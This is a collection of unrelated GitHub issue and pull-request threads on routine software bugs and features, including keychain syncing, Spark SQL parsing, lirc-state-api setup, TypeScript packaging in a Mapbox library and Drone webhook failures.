Feature Request: Add support for iCloud keychain?

Sent an e-mail on this, but in retrospect probably better to post this here.
I Believe in iOS7.01, Apple allowed us to store the keychain in iCloud if the user has it enabled. I think all you need to do is add kSecAttrSynchronizable in certain areas. Possible this could be added to this? (not comfortable with the keychain code, so don't feel comfortable making the addition as I'm not sure exactly where I should add it).

I released version 2.
It supports iCloud sharing or more features.
Example:
UICKeyChainStore *keychain = [UICKeyChainStore<EMAIL_ADDRESS>keychain.synchronizable = YES;

keychain[@"kishikawakatsumi"] = @"01234567-89ab-cdef-0123-456789abcdef"

See also,
https://github.com/kishikawakatsumi/UICKeyChainStore#icloud_sharing


added ArcGIS.bundle to the project's target

@philium please review
I think it might have gotten dropped at some point (possibly with #416 ?)
This was causing issues such as magnifier mask , compass location symbol , rotate sketch icon, and other assests the runtime requires not being displayed

I am ok with moving in that direction. Let's get this fixed up for now, we can change the project to use dynamic framework for the next release


SimpleAgents self destruct

SimpleAgents self destruct at position 1 and 3 with seed 2368878.
Drop bombs at first move and then fail to move away.
Don't have time to fix right now but should be easy as it is reproducible with the seed above.

I also met similar problem.
In FFA mode, I set SimpleAgent at any position and the remaining three agents keep motionless.
It comes that SimpleAgent only have less than 50 percent win rate.
SimpleAgent's self-destruct is pretty common.

I recall two different algorithms being used:

An exhaustive search algorithm  detecting if an agent can theoretically escape if a bomb is dropped.
A run away from the bomb algorithm

Unfortunately algorithm 2 is just not as smart as algorithm 1 and can not always find an escape route.


Update name of "TCP over Serial"

Resolves https://github.com/arduino/library-registry/issues/2626

Done:
2023/03/29 15:40:00 Loaded 5662 libraries from DB
Removing ArduinoSerialToTCPBridgeClient
Success!


tests: kernel: posix: add ztest to POSIX tests

This patch adds ztest to the available POSIX tests:

clock
pthread
pthread_cancel
pthread_join
timer

Signed-off-by: Niranjhana N<EMAIL_ADDRESS>

Codecov Report

Merging #6334 into master will decrease coverage by <.01%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##           master    #6334      +/-   ##
==========================================
- Coverage   53.28%   53.27%   -0.01%
==========================================
  Files         424      423       -1
  Lines       40731    40716      -15
  Branches     7845     7843       -2
==========================================
- Hits        21702    21692      -10
+ Misses      15819    15816       -3
+ Partials     3210     3208       -2

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update b7ef393...d5bce14. Read the comment docs.

@youvedeep fixed commits with suggested changes
@lpereira @nashif request to review


Inconsistent clang-format check

Our git pre-commit hook runs clang-format against ".h.in" but "make clang-format" doesn't. If you had changes on "apidefs.h.in" and it wasn't formatted well, you wouldn't be able to commit anything (even if you ran suggested command line $ make -j clang-format).

IIRC, files under "tsconfig" can cause the same problem. But I don't remember why the files are not subject to clang-format.

As for "tsconfig", it is because some of them are generated. The plan, long term, is to replace all of that with YAML support.
I do agree that you can get in to a situation where the pre-commit hook blocks you while 'make clang-format` doesn't fix it.


Not resizeable on samsung DeX

Summary
Not resizeable on samsung DeX mode
Environment Information

Device Name: Samsung s10 plus
OS Version: Android 9
Mattermost App Version: master
Mattermost Server Version:5.15

Steps to reproduce
Open mattermost-mobile in samsung DeX mode
Expected behavior
The app is resizeable
Observed behavior
The app is not resizeable
Possible fixes
Samsung has a guide: https://developer.samsung.com/samsung-dex/modify-optimizing

Thanks, appreciate your feedback @glebtv,
Would you like to contribute this in the feature idea forum so it can be discussed, upvoted and considered for a help wanted ticket?
Please include a link back to this GitHub issue. If you're interested in implementing, please say so and we'll prioritize the review.
You get 10 votes in the feature idea forum, and each one influences the future of the project.

If I enable ""Force activities to be resizable" in Dex Labs - Mattermost window becomes resizeable and works perfectly. (If you enable it, you need to restart dex mode)
So I think all is needed is to mark it as resizeable

Going to close this issue as it hasn’t had any recent activity


The inji app is not supported with multi language

Describe the bug
The android app is not fully capable with diffrent language filters
To Reproduce

Click the app icon
Authenticate it and get in
In the right top , the language filter will be available
Click it and select specific language

Expected behavior
All the feilds should be translated to the specific language selected, with out any glitch
Current behavior
Not all feilds where translated , and few feilds where not supporting and glitching out
Screenshots

Smartphone (please complete the following information):
Device: android
MOSIP Version: 121
MOSIP server: qa-121.mosip.net
APK link : https://github.com/mosip/inji/suites/8476299188/artifacts/376688868

Tested on:
Android: QA4_io.mosip.residentapp-0.4.1-beta.1-10-d68f577-feature_mosip-55-face-matching-newlogic_20221115_1441.apk
iOS: 0.4.1 (1)
ISSUE IS STILL PRESENT
@kyanthony @pmigueld
Devices:
iPhone 11 - iOS 16.1
Samsung Galaxy A23 - Android 12
Screenshots

Tested on:
Android: QA4_io.mosip.residentapp-0.4.1-beta.1-10-d68f577-feature_mosip-55-face-matching-newlogic_20221115_1441.apk
WORKS AS EXPECTED
@kyanthony @pmigueld @danicaerediano
Devices:
Samsung Galaxy A23 - Android 12
Screenshots

Tested on:
Android: QA4_io.mosip.residentapp-0.4.1-rc1-newlogic_20221123_1723.apk
iOS: inji 0.4.1 (3) (TestFlight)
iOS build 0.4.1 cuts the texts on the following buttons when translated.
As for the error message during face matching, maybe we can change the following words to:
portrait -> larawan
accessory -> aksesorya
Assigned back to dev
@pmigueld @kyanthony @danicaerediano
Screenshots

Tested on
Android: QA4_io.mosip.residentapp-0.4.1-rc3-newlogic_20221205_0904.apk
iOS: Inji 0.4.1 (4)
ISSUE IS STILL PRESENT in iOS
Assign back to dev
@pmigueld @danicaerediano @Anushree09-N @kyanthony @rakhimosip @Sujithbn
To Reproduce
Steps to reproduce the behavior:

Share an ID
See error on Tanggapin ang kahilingan at piliin ang ID and Tanggapin anf kahilingan at magpatunay button
Select an ID and clicking on either Tanggapin ang kahilingan at piliin ang ID or Tanggapin anf kahilingan at magpatunay
See error

Test devices:
iPhone SE - iOS 15.4
iPhone 11 - iOS 16.1.1
Screens

hot

@santhoshsunder It's an Android bug please verify and update the status accordingly.

Verified this issue in QA5 env, we are seeing lot of elements still in english, but the past where has those elements in arabic, but the both files use the same local files, iam attaching both APK's screenshots bellow, hense reopening this bug
Screenshot :
New APK

Old APK

Smartphone :
Device: PIXEL 6
OS: Android 13
MOSIP Version: <IP_ADDRESS>
MOSIP server: qa5.mosip.net
APP link; https://mosip.atlassian.net/browse/DSD-1816

@Anushree09-N @santhoshsunder The above issues were solved by adjusting all related language files in locals. I raised the respective PR and sent it. Recheck once the code was merged.

Verified this issue in qa-1201-b2 environment, we are seeing lot of elements still not converted to Inji supported language, I am attaching the screenshots and the device details below for reference, hence reopening this bug.
Screenshots: -

Tested In: -
Device A: Redmi 7A
Android Version: 10
BLE version :4.2
Inji app link: https://github.com/mosip/inji/actions/runs/4376878070
Mimoto version: <IP_ADDRESS>
MOSIP Version: qa-1201-b2.mosip.net

@Sujithbn @damodarguru  @Raginikrishnamurthy I solved this re-opened bug by fixing it in locals of languages JSON files and raised respective PR(#654)

This bug has been moved to Jira.
Link of the bug on Jira: https://mosip.atlassian.net/browse/MOSIP-26835


[Bug]: Having __execute__ as a function name gives redeclared symbol error when execute bal test

Description
Since Ballerina doesn't specify __execute__ as a reserved name, it can be a spec deviation.
Steps to Reproduce
No response
Affected Version(s)
No response
OS, DB, other environment details and versions
No response
Related area
-> Test Framework
Related issue(s) (optional)
No response
Suggested label(s) (optional)
No response
Suggested assignee(s) (optional)
No response

We have introduced __gH7W16ntestExecState__ as a module level variable name in the generated bal file for the test execution. It may also have collision with user defined names (probability is low since it has been encoded with some random chars). Since it can also be considered as spec deviation, It's more appropriate to codegen this variable.


[#149] Show colored error output

Shows colored output, i.e error messages in red color on colorable terminals.
Added a flag --no-color which can be passed if one wants simple output. By default, it shows colored output.
Errors during do command and validate command are shown in red.

Codecov Report

Merging #151 into develop will decrease coverage by 12.95%.
The diff coverage is 62.5%.

@@             Coverage Diff              @@
##           develop     #151       +/-   ##
============================================
- Coverage    76.75%   63.79%   -12.96%
============================================
  Files            8        8
  Lines          585      580        -5
============================================
- Hits           449      370       -79
- Misses          74      154       +80
+ Partials        62       56        -6

Impacted Files
Coverage Δ

pkg/docker/docker.go
65.13% <0%> (-3.67%)
:arrow_down:

pkg/dunner/dunner.go
29.12% <0%> (-40.49%)
:arrow_down:

internal/logger/logger.go
100% <100%> (ø)

pkg/config/config.go
64.11% <0%> (-13.4%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 37bf53a...6df6b65. Read the comment docs.

Codecov Report

Merging #151 into develop will increase coverage by 2.06%.
The diff coverage is 88.88%.

@@             Coverage Diff             @@
##           develop     #151      +/-   ##
===========================================
+ Coverage    75.19%   77.25%   +2.06%
===========================================
  Files            8        9       +1
  Lines          653      598      -55
===========================================
- Hits           491      462      -29
+ Misses          99       74      -25
+ Partials        63       62       -1

Impacted Files
Coverage Δ

internal/logger/logger.go
100% <100%> (ø)

pkg/docker/docker.go
68.8% <100%> (-7.67%)
:arrow_down:

internal/settings/settings.go
100% <100%> (ø)
:arrow_up:

pkg/dunner/dunner.go
69.9% <50%> (+0.29%)
:arrow_up:

internal/util/util.go
80.28% <0%> (+20.28%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update ac31aa8...b680aac. Read the comment docs.


FIX: parseValues fails when no schema is found

Schema is expected. Nevertheless, If there are no records, no schema will be found, hence failing.

Thanks @gabrieljenik


V0.0 not found?

Dear Team,
I couldnt locate your V0.0 deliverables. Please note the few major things to do:
a. Change the "addressbook level 4" repo to "main".
b. Update User Guide and selected section of the Developer Guide.
c. Use git tag to indicate your have a ready V0.0 for us to review.
Please let me know if your team run into any problem.

Hi,

repo name changed to "main"

tag for v0.0 created (the PR and merge was done 5 days ago, only the tag was not created)


channel text cuts off in fullscreen vc

The 'channel' text cuts off in the fullscreen view of a voice channel. See below:

@twigtarsier could you elaborate on the hide the left navbar thing? i cant seem to find where this is

ah yeah i found it. ill try to fix it in my PR


Adding call-out

Description of the change:
Reason for the change:
Link to original source:

Closes #

Hello @xtineledlie,Thanks again for the PR! We appreciate your contribution and look forward to                                              continued collaboration. Thanks!                                             Team SendGrid DX


[SPARK-13105] Reject NATURAL JOIN queries rather than returning wrong answers

In Spark 1.6 and earlier, Spark SQL does not support NATURAL JOIN queries. However, its SQL parser does not consider NATURAL to be a reserved word, which causes natural joins to be parsed as regular joins where the left table has been aliased. For instance,
SELECT * FROM foo NATURAL JOIN bar

gets interpreted as foo JOIN bar where foo is aliased to natural.
Rather than doing this, which leads to confusing / wrong results for users who expect NATURAL JOIN behavior, Spark should immediately reject these queries at analysis time and should provide an informative error message.
This patch is targeted at Spark 1.6 and earlier because Spark 2.0 will add NATURAL JOIN support.
I chose to implement this check entirely within the parser in order to minimize the scope of the changes and to not introduce any new classes into the logical plan layer. I considered introducing a new NaturalJoin join type, parsing the query, then detecting and throwing an error from the analyzer but ended up rejecting this approach because I was concerned that adding a new class to a sealed trait would break compilation for third-party code which pattern-matches on Catalyst join types.

/cc @cloud-fan for review.

Test build #50453 has started for PR 10997 at commit 21e42d8.

Test build #50453 has finished for PR 10997 at commit 21e42d8.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/50453/
Test PASSed.

how about hive context? Should we update HiveQl.scala too?

hm i thought about this more -- i actually think it is too risky to change the behavior here for 1.6.x. For example, there might be users whose queries are depending on the fact that natural is not a reserved keyword.

Hive does not have a NATURAL keyword. It behaves the same as the old SqlParser:

It will either treat NATURAL the alias of the previous table, eg: select * from db.a natural join db.b
It does not recognize the input at NATURAL and throws a ParseException, eg: select * from db.a as x natural join db.b

Argh, that's annoying. I guess I'll go ahead and close this PR and resolve the JIRA issue as "Not a Problem".


Quick fix to reenable pasting from clipboard into SearchBar for seeds/account addresses

I discovered a major UI bug during a live coding presentation this morning that prevented me from pasting from clipboard into seeds/account addresses on https://beta.solpg.io
This is a quick, one-line fix that is tested and working locally. I do not know the wider implications of these code changes, as the repo is quite large and complex, but I would recommend merging this or coming up with a fix ASAP to fix the bug.
Kind regards,
Dean.

Sorry for the inconvenience, happened in yesterday's update. https://github.com/solana-playground/solana-playground/pull/189 should fix it.

It should be fixed now. A lot has changed recently especially in test UI, please let me know if there are more issues.


How to make dynamic horizontal progress ?

Hello Shst,
private final long[] durations = new long[]{
2000L,2000L
};
in this method how to add data from arraylist (count of arraylist size) in android.

Here is an alternative bro https://github.com/bolaware/momentz, supports horizontal progress


Content and translation for first version of site

This card is specifically for the final content and translation for the information site release. We're keeping it separate from the dev card because it has its own external dependencies (currently in a holding pattern, waiting on approvals and translations). In the meantime dev can move ahead with the site using Lorem ipsem filler text.

Moving to icebox until we have a clear path to approved content


No devices

@flochtililoch
Hello, I am interested in using lirc-state-api. I installed it on my raspberry pi and am planning to hook it up with the homebridge-lirc-accessory plugin.
Using my own config, but also the example config file it looks like no devices are recognised. When accessing http://raspberrypi.local:3001/devices I get an empty array as response:
[]
Can you advise what I might be doing wrong?
This is what my config looks like.
[
  {
    "id": "stb",
    "lirc_id": "stb",
    "name": "stb",
    "states": [
      {
        "id": "power",
        "type": "loop",
        "values": [false, true],
        "keys": {
          "next": "KEY_POWER"
        }
      }
    ]
  }
]

can you detail your installation path, as well as the command you're running to start the app?

Thanks for your prompt reply!
I installed it using sudo npm install -g homebridge-lirc-accessory, I used the following command: lirc-state-api -c=/var/lib/homebridge/lircstate.conf. It finds lira-state-api here /usr/local/bin/lirc-state-api

I think the issue might be because your config isn't a json file. Rename lircstate.conf to lircstate.json and change your start command accordingly, let me know if that helps

Thanks. I believe that did the trig. I need to do some digging on my config file, since I am getting another error now. First dinner time :-)
TypeError: Cannot read property 'forEach' of undefined     at new States (/usr/local/lib/node_modules/lirc-state-api/lib/model/states.js:17:24)     at Device.get states [as states] (/usr/local/lib/node_modules/lirc-state-api/lib/model/device.js:27:22)     at Device.serialize (/usr/local/lib/node_modules/lirc-state-api/lib/model/device.js:82:24)     at devices.map (/usr/local/lib/node_modules/lirc-state-api/lib/model/devices.js:22:48)     at Array.map (native)     at Devices.serialize (/usr/local/lib/node_modules/lirc-state-api/lib/model/devices.js:22:25)     at app.get (/usr/local/lib/node_modules/lirc-state-api/lib/api/http.js:5:27)     at Layer.handle [as handle_request] (/usr/local/lib/node_modules/lirc-state-api/node_modules/express/lib/router/layer.js:95:5)     at next (/usr/local/lib/node_modules/lirc-state-api/node_modules/express/lib/router/route.js:137:13)     at Route.dispatch (/usr/local/lib/node_modules/lirc-state-api/node_modules/express/lib/router/route.js:112:3)

you'll likely need to set the key "dependencies" in your config file (empty [] should be enough)

Thanks, that solved the first part!
I am making progress, but bumping into another issue. I have the impression the link between lirc-state-api and lirc is not correctly established.
I get the following error message when pressing a button on the device remote control from lirc-state-api
(node:847) UnhandledPromiseRejectionWarning: Unhandled promise rejection (rejection id: 2): Error: value [object Object] does not exist in this state.
(node:847) DeprecationWarning: Unhandled promise rejections are deprecated. In the future, promise rejections that are not handled will terminate the Node.js process with a non-zero exit code.

Also the message is only shown after I first set a state (using homebridge-lirc-accessory), before that no logging is shown, nor the state is updated.
Additionally state changes triggered through homebridge-lirc-accessory don't send out the remote command to the device from the raspberry pi.
Manually lirc works as expected (e.g. using irw to check what's being received, using irsend to issue the remote command).
I guess I am close. Any hint what I am doing wrong would be appreciated.
Thanks for all help!

Could you paste again your updated configuration here? I have the feeling there might be some error there but that may as well be something else

The latest version is below. I initially tried it with empty brackets []. In the current version I added another button in an attempt to see if having an actual dependency solved the problem. This had no effect.
[
  {
    "id": "amino",
    "lirc_id": "amino",
    "name": "Amino",
    "send_delay": 500,
    "receive_delay": 100,
    "states": [
      {
        "id": "power",
        "type": "loop",
        "values": [false, true],
        "keys": {
          "next": "KEY_POWER"
        }
      },
      {
        "id": "guide",
        "type": "loop",
        "values": [false, true],
        "keys": {
          "next": "KEY_EPG"
        }
      }
    ],
    "dependencies": [{
        "states": ["guide"],
        "depends": [
          {
            "id": "power",
            "values": [true]
          }
        ]
      }]
  }
]

I think the log lines you're seeing can be ignored (I should fix these at some point).
Since you can see the state changing, this should also trigger the LIRC commands.
You can run the app in debug mode:
DEBUG=* lirc-state-api -c=/path/to/config.json

and should see more logs, in particular something like:
will send KEY_FOO to device

key/device should match the request made from homebridge. If you see this, I suspect something off with your LIRC configuration but to be honest I haven't play with it in a while, and can't remember anything special with this issue. Have you try setting up lirc-web? This uses the same library lirc_node as this project, so that would be a good indicator as whether the problem comes from the lirc_node lib or is an actual bug from lirc-state-api

When I try to control the stb from the Home app I get the following;
  lirc-state-api#state State power setting to false. +5s
  lirc-state-api#state State power onafter callback. +4ms
  lirc-state-api#state State power set to expected value: false +3ms
  express:router dispatching GET /devices/amino/states/power +3s
  express:router query  : /devices/amino/states/power +3ms
  express:router expressInit  : /devices/amino/states/power +13ms
  express:router jsonParser  : /devices/amino/states/power +4ms
  body-parser:json skip empty body +3s

When I use the original remote I get:
  lirc-state-api#device received KEY_POWER for amino, updating state +4s
  lirc-state-api#utils/assert false is not valid, sending error with message +1ms
(node:7639) UnhandledPromiseRejectionWarning: Unhandled promise rejection (rejection id: 8): Error: value [object Object] does not exist in this state.

I will try setting up lirc-web now ..

I did some more experiments. It seems it does respond after initially starting lirc-state-api. This is the responds I get after using the Home app:
  express:router dispatching PUT /devices/amino/states/power +5s
  express:router query  : /devices/amino/states/power +4ms
  express:router expressInit  : /devices/amino/states/power +4ms
  express:router jsonParser  : /devices/amino/states/power +3ms
  body-parser:json content-type "application/json" +5s
  body-parser:json content-encoding "identity" +4ms
  body-parser:json read body +2ms
  body-parser:json parse body +4ms
  body-parser:json parse json +2ms
  lirc-state-api#state State power setting to true. +4s
  lirc-state-api#state State power leaving: false for true +2ms
  lirc-state-api#device will send KEY_POWER to amino +2ms
  lirc-state-api#state State power onafter callback. +559ms
  lirc-state-api#state State power set to expected value: true +2ms

As soon as I use the I original remote I get the message in the previous post. From that moment onwards use of the Home app to power on the stb results in:
  lirc-state-api#state State power setting to false. +5s
  lirc-state-api#state State power onafter callback. +4ms
  lirc-state-api#state State power set to expected value: false +3ms
  express:router dispatching GET /devices/amino/states/power +3s
  express:router query  : /devices/amino/states/power +3ms
  express:router expressInit  : /devices/amino/states/power +13ms
  express:router jsonParser  : /devices/amino/states/power +4ms
  body-parser:json skip empty body +3s

@flochtililoch Do you have any hints of what potential issues I can investigate further to get my setup working?

Apologies for the delayed reply. I was able to reproduce the issues you're facing. Looking back at the code, it seems like I never completed the implementation around the feature that updates the state when receiving IR signals. Unfortunately I have little time these days to work on this project so I won't be able to address the issue anytime soon. I'll keep this issue open though so I can work on it when I have more time on hands, in the mean time feel free to open a pull request!

Hi @flochtililoch, thanks for your reply. No worries about the delay, I am glad you confirmed the problem. I'll look into the pull request. Would be nice if you find some time somewhere in future :-)

@abko https://github.com/flochtililoch/lirc-state-api/releases/tag/v0.0.3 should solve the issues you were facing. Thanks for reporting it!

Thank you! I am away from my home until the weekend, but will try as soon as I am home!
Thanks a lot. Kind regards.

@flochtililoch I did some testing and indeed IR commands are now being picked up and updating the state correctly. Great. Thanks. I noticed however that the state in the homeapp does not get updated until I kill the Home app and restart it. Could it be that there is some state update function that needs to be called when the state is changed via a receive IR command?

Glad it’s working for you now. Yes we would need to send a request to he homebridge instance to refresh its state. I’ll see if I can get something working when I have a moment!

Thanks! Let me know if I can be of any help with testing!


A few typescript components being included / Atmosphere.tsx type issue

Sorry to skip env info since this is just a published package files thing:

Seems like just a few of the components/* are staying as TS. I can't for the life of me get typescript to ignore this for some reason, despite many different exclude attempts.

@natew

just a published package files thing:
not sure what you mean by that.

components/* are staying as TS.
we're migrating to typescript and only some of the components are written in typescript, so that's why you see tsx and js mixed.

We'll need instructions to reproduce otherwise it's hard for us to fix issues. What is you rn version, and can you try with a more recent react-native version?!

I think this issue should be reopened, as I believe that it highlights a real issue that doesn't depend on the react-native version.
First of all - I'm super happy to see that this library is migrating to Typescript! I myself use Typescript in my projects so this new direction is more than welcome. I also want to thank you and everyone working on this library for your work going into this, I really appreciate what you guys are doing!
With this said, however, this library currently publishes Typescript code mixed with JavaScript, which isn't ideal. This forces anyone who wants to use the library to set up their project to handle the compilation of typescript files since the final bundle needs to be JS.
In contrast, the usual scenario would be to write the project source code in TS, and then compile it to JavaScript + declaration files before the package is published. This makes sure that the library is usable even without a typescript compiler, and thanks to the declaration files the types are still there for TS users to enjoy!
Judging by the screenshot in the initial post, @natew seems to stumble upon type issues when his TS-compiler tries to compile a .tsx file. It looks to me like it is importing something from a normal JS file, leading to type incompatibility as the JS file has no typing.
@natew If you found a way to make the compiler ignore these files, I'd be happy to hear about it since I have the same issue!

@natew Alright, I made a workaround that'll work for now. Basically, I patched the library to import files from ./lib/javascript instead of ./javascript and then ran the TS compiler from the root of the library. In its current state with only a few TS files and the rest in JS, I had to set noImplicitAny and declaration to false in order to successfully compile it. This, unfortunately, means that the benefits of using TS in some files are no longer applicable, but if you would generate declarations the main MapboxGL namespace would be typed as any. For now, the normal "implicit" types (and the ones in index.d.ts) are better.
Here's the patch:
diff --git<EMAIL_ADDRESS><EMAIL_ADDRESS>index 9aacd3e..b1b08d3 100644
---<EMAIL_ADDRESS>+++<EMAIL_ADDRESS>@@ -32,14 +32,14 @@ import {
   CameraBoundsWithPadding as _CameraBoundsWithPadding,
   CameraStops as _CameraStops,
   CameraAnimationMode as _CameraAnimationMode,
-} from './javascript/components/Camera';
-import { Atmosphere as _Atmosphere } from './javascript/components/Atmosphere';
+} from './lib/javascript/components/Camera';
+import { Atmosphere as _Atmosphere } from './lib/javascript/components/Atmosphere';
 import type {
   MapboxGLEvent as _MapboxGLEvent,
   UserTrackingMode as _UserTrackingMode,
   UserTrackingModeChangeCallback as _UserTrackingModeChangeCallback,
-} from './javascript/types/index';
-import type { requestAndroidLocationPermissions as _requestAndroidLocationPermissions } from './javascript/requestAndroidLocationPermissions';
+} from './lib/javascript/types/index';
+import type { requestAndroidLocationPermissions as _requestAndroidLocationPermissions } from './lib/javascript/requestAndroidLocationPermissions';

 // prettier-ignore
 type ExpressionName =
diff --git<EMAIL_ADDRESS><EMAIL_ADDRESS>index 9fef883..c8a6c60 100644
---<EMAIL_ADDRESS>+++<EMAIL_ADDRESS>@@ -6,9 +6,9 @@
     "access": "public"
   },
   "author": "React Native Mapbox Team",
-  "main": "./javascript/index.js",
-  "browser": "./javascript/index.web.js",
-  "react-native": "./javascript/index.js",
+  "main": "./lib/javascript/index.js",
+  "browser": "./lib/javascript/index.web.js",
+  "react-native": "./lib/javascript/index.js",
   "keywords": [
     "gl",
     "ios",

And here's the package-scripts used to apply the patch and compile the library:
{
  "scripts": {
    "postinstall": "patch-package && yarn set-config local && yarn compile-mbgl",
    "compile-mbgl": "cd node_modules/@rnmapbox/maps && tsc --declaration false --noImplicitAny false"
  }
}

Yea this one should be re-opened. I'm going to do something similar and run esbuild over the library and save a patchfile.

@natew I'm happy to reopen as soon as instructions are provided to reproduce the issue. Thanks for your understanding. Ideally instructions starts with something like:react-native init ... --version 0.68.2 etc.

Happy to do that when I find time. The issue exists for basically all installs though so likely worth keeping open for others to see.

I'm also facing this issue after trying out v10. I will see if I can write up some instructions to reproduce...


Add. Responsive Navbar

Hey @UjjwalSharma01 i have made the nav bar responsive,
please review and merge it

![Screenshot_2023-10-18-11-28-45-57_40deb401b9ffe8e1df2f1cc5ba480b12.jpg](https://github.
loading Screenshot_2023-10-18-11-29-20-69_40deb401b9ffe8e1df2f1cc5ba480b12.jpg …]()
Fix these issues anu

Can you please send the screenshots as attachments since the link is
not working and please elaborate the issue?
On Wed, Oct 18, 2023 at 11:31 AM Ujjwal Sharma @.***>
wrote:

![Screenshot_2023-10-18-11-28-45-57_40deb401b9ffe8e1df2f1cc5ba480b12.jpg](
https://github.
loading
Screenshot_2023-10-18-11-29-20-69_40deb401b9ffe8e1df2f1cc5ba480b12.jpg …]()
Fix these issues anu
—
Reply to this email directly, view it on GitHub
https://github.com/UjjwalSharma01/checklist/pull/55#issuecomment-1767700569,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/APZOT3C4VUPBOF67WL73M4DX75WD3AVCNFSM6AAAAAA6EBV6FSVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMYTONRXG4YDANJWHE
.
You are receiving this because you authored the thread.Message ID:
@.***>

Fix these issues anu, and please mention the issue number with "hashtag" and for your reference im adding the screenshot of a website for your reference to make the changes

you can keep it like this, just add a button to close it in place of login section
also resolve the conflicts in the files, for any further issues or help you can reach out to us


Adding hook to gogs misconfigures hook

Automatically adding a hook to a gogs repo seems to use the slack format (instead of the gogs format), which causes drone to throw an index out of range error. Manually adding the hook with the given URL seems to work.

@mkaito I'm not sure I understand the issue -- I'm not sure what the Slack format is. Drone is tested with Gogs <IP_ADDRESS>2 and we are able to successfully add hooks. We use the official Gogs Go client to add hooks. Perhaps you can provide more detail (like logs and error messages from the Drone logs) as well as Gogs version and Drone version?

I'm new to both Gogs and Drone, I'm having a similar issue however the error message is a 404.
When I activate a repo a web hook is installed on Gogs for: https://ci.ameoto.com/hook?access_token=???, however if you push to the repo the hook runs but is met with a 404 from Drone. Navigating to this link confirms it, is this URL incorrect or have I messed up along the way?
Drone: 0.4
Gogs: <IP_ADDRESS>5

@thetooth please provide information from the Drone logs. Every single error path is logged, and will reveal the root cause of the error.

http: multiple response.WriteHeader calls time="2015-11-27T20:25:28Z" level=error msg="failure to find repo Ameoto/auth from hook. sql: no rows in result set"
[GIN] 2015/11/27 - 20:25:28 | 404 |   14.602952ms | <IP_ADDRESS> |   POST    /hook
Error #01: sql: no rows in result set

I used the sample configuration for SQLite:
DATABASE_DRIVER=sqlite3
DATABASE_CONFIG=/var/lib/drone/drone.sqlite
No errors during activating either, one thing of note is this repo belongs to an organisation and not a user, but I wouldn't expect this to be an issue.

is Ameoto/auth in the Drone database? This indicates the SELECT * FROM repos WHERE repo_full_name='Ameoto/auth' is coming back with no results.

sqlite> select * from repos WHERE repo_full_name='Ameoto/auth';
sqlite> select * from repos;
repo_id|repo_user_id|repo_owner|repo_name|repo_full_name|repo_avatar|repo_link|repo_clone|repo_branch|repo_timeout|repo_private|repo_trusted|repo_allow_pr|repo_allow_push|repo_allow_deploys|repo_allow_tags|repo_hash|repo_scm
3|1|Ameoto|Auth|Ameoto/Auth|https://git.ameoto.com/avatars/4|https://git.ameoto.com/Ameoto/Auth|https://git.ameoto.com/Ameoto/Auth.git|master|60|0|0|1|1|0|0|???|git

Ahhhh, so repo name is being converted to lowercase making the query fail. I'll run another push since I deleted the build history to see who is sending the wrong string.

yes, seems like there is some case sensitivity issues here. I can confirm that Drone doesn't manipulate case, so perhaps there is an inconsistency in the Gogs message? You should be able to get the hook message sent to Drone via the repository settings > hooks screen in Gogs. If you can paste into the issue  we can investigate further.

{
  "secret": "???",
  "ref": "refs/heads/master",
  "before": "c95f0a336db7dc64b9a505335ada2bdd2c640209",
  "after": "94dd5583082b1b52ead31b7e5cc0644fe174134b",
  "compare_url": "https://git.ameoto.com/Ameoto/Auth/compare/c95f0a336db7dc64b9a505335ada2bdd2c640209...94dd5583082b1b52ead31b7e5cc0644fe174134b",
  "commits": [
    {
      "id": "94dd5583082b1b52ead31b7e5cc0644fe174134b",
      "message": "Push test\n",
      "url": "https://git.ameoto.com/Ameoto/Auth/commit/94dd5583082b1b52ead31b7e5cc0644fe174134b",
      "author": {
        "name": "Jeff Jenner",
        "email"<EMAIL_ADDRESS>        "username": "thetooth"
      }
    }
  ],
  "repository": {
    "id": 3,
    "name": "auth",
    "url": "https://git.ameoto.com/Ameoto/Auth",
    "description": "JWT based authentication server.",
    "website": "",
    "watchers": 1,
    "owner": {
      "name": "Ameoto Systems Inc.",
      "email": "",
      "username": "Ameoto"
    },
    "private": false
  },
  "pusher": {
    "name": "Jeffrey Jenner",
    "email"<EMAIL_ADDRESS>    "username": "thetooth"
  },
  "sender": {
    "login": "thetooth",
    "id": 1,
    "avatar_url": "https://git.ameoto.com///1.gravatar.com/avatar/96907efd21d43969ecc8f924611edb76"
  }
}

You can see the problem is in the repository/name field, perhaps you could derive the path from the URL?

My issue seems to be on the gogs side, where gogs randomly decides to send a slack-format JSON payload, which doesn't include any of the information that drone needs.

@mkaito gotcha, thanks for clarifying. The gogs community is awesome and I'm sure if you open an issue with them they will be able to assist.
@thetooth I'm thinking we open an issue request with Gogs to fix instead of implementing a workaround in Drone. I'm sure others in the Gogs community would benefit from this fix as well.


Staff guide updates

Changes to processing applications waiting  for part-payment and evidence

There were the following issues with your Pull Request

Commit: ab387bb7ab75f8fa71d5259115983dd6896edf55
Your subject line is longer than 50 characters

Guidelines are available at https://github.com/ministryofjustice/fr-staffapp

This message was auto-generated by https://gitcop.com

@colinbruce - some tests are failing on this as I changed some link copy - could you fix when you get the chance pls? Thank you.

There were the following issues with your Pull Request

Commit: ab387bb7ab75f8fa71d5259115983dd6896edf55
Your subject line is longer than 50 characters

Guidelines are available at https://github.com/ministryofjustice/fr-staffapp

This message was auto-generated by https://gitcop.com

Checked, fixed, merging :+1:


feat(jstzd): Use async octez node

Context
JSTZ-116
Description
Create an async version of OctezNode from crate octez.
This piece of code is simply copied from the crate and will be moved back to that crate later on in order not to affect other pieces of code that are referencing this struct.
Manually testing the PR

Integration test: ran the code in the file octez_node_test.rs and everything worked as expected.

Removed unit test mocks as in #564.


Privacy changes

[x] Update data policy
[x] Update current anonymisation job to catch last people before new data policy
[x] Change current anonymisation job for new data policy
[x] Create job to email signatories with new data policy

@allbecauseyoutoldmeso happy for me to merge and deploy?

@pixeltrix yes please, that would be great!

